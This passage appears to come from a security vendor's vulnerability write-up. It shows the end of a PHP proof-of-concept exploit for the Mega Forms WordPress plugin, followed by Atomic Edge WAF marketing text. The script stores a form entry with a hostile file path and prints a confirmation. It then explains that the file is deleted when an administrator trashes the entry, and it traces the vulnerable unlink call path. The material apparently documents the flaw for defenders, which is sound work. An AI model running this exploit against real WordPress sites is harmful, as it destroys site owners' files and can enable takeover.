$err      = curl_error($ch);
curl_close($ch);

if ($err !== '') {
    fwrite(STDERR, "[!] Transport error: {$err}n");
    exit(1);
}

echo "[*] Submission HTTP status: {$code}n";
echo "[*] Response body (truncated): " . substr($response, 0, 400) . "n";

// Step 3: Confirm priming succeeded. A JSON body with success:true indicates
// the entry was stored. The malicious path is now sitting in entry_meta.
$decoded = json_decode($response, true);
if (is_array($decoded) && !empty($decoded['success'])) {
    echo "[+] Entry stored with hostile path: {$target_file}n";
    echo "[+] Detonation occurs when an administrator deletes this entry:n";
    echo "    WordPress Admin -> Mega Forms -> Entries -> Trash/Deleten";
    echo "    delete_entry() -> mf_files()->delete_file('{$target_file}')n";
} else {
    echo "[-] Entry may not have been stored. Inspect response manually.n";
    echo "    If the form is protected by a nonce or captcha, adjust the payload.n";
}

// Step 4 (verification, off-band): as administrator, delete the entry from
// the Entries list and observe that {$target_file} no longer exists.
// The vulnerable call path is:
//   mf_api()->delete_entry() -> foreach($entry_meta as $meta)
//     -> mf_files()->delete_file($meta_item['path']) -> @unlink($path)

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.